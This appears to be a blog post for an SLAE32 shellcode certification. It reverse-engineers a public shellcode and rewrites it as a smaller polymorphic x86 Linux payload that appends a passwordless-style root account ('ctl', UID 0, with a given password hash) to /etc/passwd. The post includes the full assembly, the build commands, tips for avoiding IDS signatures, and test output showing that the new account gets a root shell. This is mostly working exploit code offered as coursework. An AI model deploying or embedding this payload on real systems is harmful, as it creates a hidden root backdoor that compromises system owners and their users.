SLAE32 Assignment 6.3 - Polymorphic Add User /etc/passwd

12 minute read

Overview

This shellcode is a polymorphic version of zillions w000t-shell.c shellcode.

  • The original shellcode can be found at: http://shell-storm.org/shellcode/files/shellcode-543.php.
  • The original shellcode is 137 bytes.
  • The final polymorphic version of the shellcode is 107 bytes.

Analyzing the Shellcode

To begin to create a polymorphic version of this shellcode I first had to understand it.
Since there was only the hex of the shellcode in the post, I reverse engineered the hex and created this mock-up of the original Assembly Instructions.

Mock-up of Original Shellcode

global _start
section .text
_start:
  jmp short jmp2call        ; jump2call so we can get the string location on the stack.
string2stack:
  pop esi                   ; pop memory location of string "/bin/sh#-c#/bin/echo.." into esi
  xor eax, eax              ; clear out eax register
  mov byte [esi +7], al     ; Null byte to terminate string "/bin/sh"
  mov byte [esi +10], al    ; Null byte to terminate string "-c"
  mov byte [esi +71], al    ; Null byte to terminate string
                            ; "/bin/echo w000t::0:0:s4fem0de:/root:/bin/bash >> /etc/passwd"
  mov dword [esi +73], esi  ; argv[] array start. Memory pointer to string "/bin/sh"
  lea ebx, [esi +8]         ; move pointer to string "-c" into ebx register
  mov dword [esi +77], ebx  ; argv[] 2nd arg. Memory location of "-c" anfter first string,
  lea ebx, [esi +11]        ; move pointer to string "/bin/echo..." into ebx register
  mov dword [esi +81], ebx  ; argv[] 3rd arg. Mem location to "/bin/echo.." string
  mov dword [esi +85], eax  ; argv[] Null dword terminator.
  mov al, 0xb               ; 11 - syscall for execve
  mov ebx, esi              ; location of string "/bin/sh" for program filename
  lea ecx, [esi +73]        ; argv pointers to args
  lea edx, [esi +85]        ; fill edx with null dword
  int 0x80                  ; executes execve systemcall
jmp2call:
  call string2stack         ; jumps 2 next instruction and pushes memory location of string
                            ; below onto the stack.
  string db "/bin/sh#-c#/bin/echo w000t::0:0:s4fem0de:/root:/bin/bash >> /etc/passwd#AAAABBBBCCCCDDDD"
;            0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
;                      1         2         3         4         5         6         7         8
  • The code was compilted & tested; works as intended.
  • To find the intructions gdb was used.

Problem with this Shellcode

  • When this shellcode was created, linux systems would allow an account with no password to be logged in by anyone.
  • Modern Linux systems, will lock the account if it has no password.
  • Any attempt to login will recieve the error "Authentication Failure".
  • Deleting a password is now a technique for sys-admins to lock a users account.

Creating a Hashed Password for /etc/passwd

user$ openssl passwd ctl
NNwZ8D1QjVy3Y
  • This creates the hash for the password ctl.
  • We will use this in the second field of /etc/passwd line.

w000t username

  • The strings w00t & w000t are frequently used in known exploits.
  • Highly likely an IPS/IDS will flag these strings.
  • the username ctl was used instead.

Changing the Shellcode

argv[] / ECX - Stack instead of Code Section

In the original shellcode, JMP|Call|POP was used to load the memory address of the string into the esi register.

  • All pointers to fufill the second arguments argv[], for execve where within this string.
  • In the polymorphic version, all of the arguements for argv[] on the stack.

argv[3] - End the argv[] Array

  xor eax, eax              ; clear out eax register
snip--
  push eax                  ; push to stack argv[] Null dword array terminator.

argv[2] - Arguements to Flag

  mov byte [esi +61], al    ; Null byte to terminate string
                            ;  "/bin/echo ctl:NNwZ8D1QjVy3Y:0:0::/:/bin/sh >> /etc/passwd#"
  lea ebx, [esi +3]         ; move pointer to string "/bin/echo..." into ebx register
  push ebx                  ; argv[] 3rd arg. Mem location to "/bin/echo.." string

argv[1] - Flag of Program

  mov byte [esi +2], al     ; Null byte to terminate string "-c"
  lea ebx, [esi]            ; move pointer to string "-c" into ebx register
  push ebx                  ; argv[] 2nd arg. Memory location of "-c" anfter first string,

argv[0] - Pointer to Program Path

  push eax                  ; push to null terminator for string "/bin//sh" on the stack.
  push dword [esi +42]      ; push "//sh" onto the stack.
  push dword [esi +38]      ; push "/bin" onto the stack.
  lea ecx, [esp]            ; save for later for ebx
snip--
  mov ebx, ecx              ; memory address of "/bin//sh" on the stack
  push ebx                  ; argv[] array start. Memory pointer to string "/bin/sh"
snip--
  mov ecx, esp              ; point ecx to top of stack

Reuse the “/bin//sh” in the string memory

  • Since the string already has /bin//sh the leading /bin//sh was deleted.
    • This memory location of /bin//sh in the string was used to fufill the ebx register.
  • The string was changed from “/bin/sh” to “/bin//sh”
    • This way it fits into 2 DWORDs.
    • These DWORDs were pushed on to the stack.
  xor eax, eax              ; clear out eax register
  push eax                  ; push to null terminator for string "/bin//sh" on the stack.
  push dword [esi +42]      ; push "//sh" onto the stack.
  push dword [esi +38]      ; push "/bin" onto the stack.
  lea ecx, [esp]            ; save for later for ebx
snip--
  mov ebx, ecx              ; memory address of "/bin//sh" on the stack

Final Polymorphic Shellcode

global _start
section .text
_start:
  jmp short jmp2call        ; jump2call so we can get the string location on the stack.
string2stack:
  pop esi                   ; pop memory location of string "/bin/sh#-c#/bin/echo.." into esi
  xor eax, eax              ; clear out eax register
  push eax                  ; push to null terminator for string "/bin//sh" on the stack.
  lea edx, [esp]            ; fill edx with pointer to null dword
  push dword [esi +42]      ; push "//sh" onto the stack.
  push dword [esi +38]      ; push "/bin" onto the stack.
  lea ecx, [esp]            ; save for later for ebx
  mov byte [esi +2], al     ; Null byte to terminate string "-c"
  mov byte [esi +61], al    ; Null byte to terminate string
                            ;  "/bin/echo ctl:NNwZ8D1QjVy3Y:0:0::/:/bin/sh >> /etc/passwd#"
  push eax                  ; push to stack argv[] Null dword array terminator.
  lea ebx, [esi +3]         ; move pointer to string "/bin/echo..." into ebx register
  push ebx                  ; argv[] 3rd arg. Mem location to "/bin/echo.." string
  lea ebx, [esi]            ; move pointer to string "-c" into ebx register
  push ebx                  ; argv[] 2nd arg. Memory location of "-c" anfter first string,
  mov ebx, ecx              ; memory address of "/bin//sh" on the stack
  push ebx                  ; argv[] array start. Memory pointer to string "/bin/sh"
  mov ecx, esp              ; point ecx to top of stack
  mov al, 0xb               ; 11 - syscall for execve
  int 0x80                  ; executes execve systemcall

jmp2call:
  call string2stack         ; jumps 2 next instruction and pushes memory location of string
                            ; below onto the stack.
  string db "-c#/bin/echo ctl:NNwZ8D1QjVy3Y:0:0::/:/bin//sh >> /etc/passwd"
;            01234567890123456789012345678901234567890123456789012345678901
;                      1         2         3         4         5         6

; string db "/bin/sh#-c#/bin/echo ctl:NNwZ8D1QjVy3Y:0:0::/:/bin/sh >> /etc/passwd#"
  • The users shell was changed from /bin/bash to /bin//sh.
    • The number of / characters does not matter for calling a program by its full path in Linux.
    • /bin/sh is more universal than /bin/bash.
    • Using /bin/sh also shortens the final length of the shellcode.
  • The # at the end of the echo string was also removed.
    • Since the string is at the end of shellcode memory, it should not matter if we overwrite this byte in the code segment.

Testing the Shellcode

Getting the Hex of the Shellcode

Compiling & Linking the Shellcode

root# nasm -f elf32 poly3.addAcct.nasm -o poly3.addAcct.o
root# ld -z execstack poly3.addAcct.o -o poly3.addAcct

Overcoming Problems with Objdump CL-Fu

Dump the Hex with Object Dump

  • Unfortunately our objdump command line fu does not work for this shellcode.
  • To remedy this issues, objdump -d poly3.addAcct was used.
  • Byobu was used to grab the shellcode hex from the output.
    • F7 to enter copy-mode
    • space+v to select text with a box
    • enter to copy to clipboard
    • ctrl+a+] to paste

      Vi to Format the Hex from Byobu Buffer

  • vim-fu was used to format the hex into the needed C format.
    • Delete unneeded lines dd
    • :%s/ *$//g
      • Delete extra space characters at the end of the lines.
    • :se nu
      • See the line numbers
    • gg
      • go to the first character of the first line
    • i+<space>
      • Put a space before the first hex character
    • 48 J
      • Join all 48 lines together
    • %s/ /\\x/g
      • Replace all spaces with the C hex indicator

Add the Shellcode to Host Program

Compiling Host Program

root# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c

Testing the Injected Shellcode

root# tail -n 1 /etc/passwd
user:x:1000:1000:user,,,:/home/user:/bin/bash
root# ./shellcode
Shellcode Length:  107
root# tail -n 1 /etc/passwd
ctl:NNwZ8D1QjVy3Y:0:0::/:/bin//sh
  • Here we see that our user line has successfully been appended to the /etc/passwd file.

Testing our new UID 0 User

root# su user
user$ su ctl
Password: ctl
# id
uid=0(root) gid=0(root) groups=0(root)
#
  • Great Success!
  • We changed to a lower level user because changing to a user as root does not require any authentication.
  • Our username ctl does not show since the root user is mapped to UID + GID 0.

SLAE32 Blog Proof

This blog post has been created for completing the requirements
 of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
	- Now at: https://www.pentesteracademy.com/course?id=3
SLAE/Student ID: PA-10913

Updated: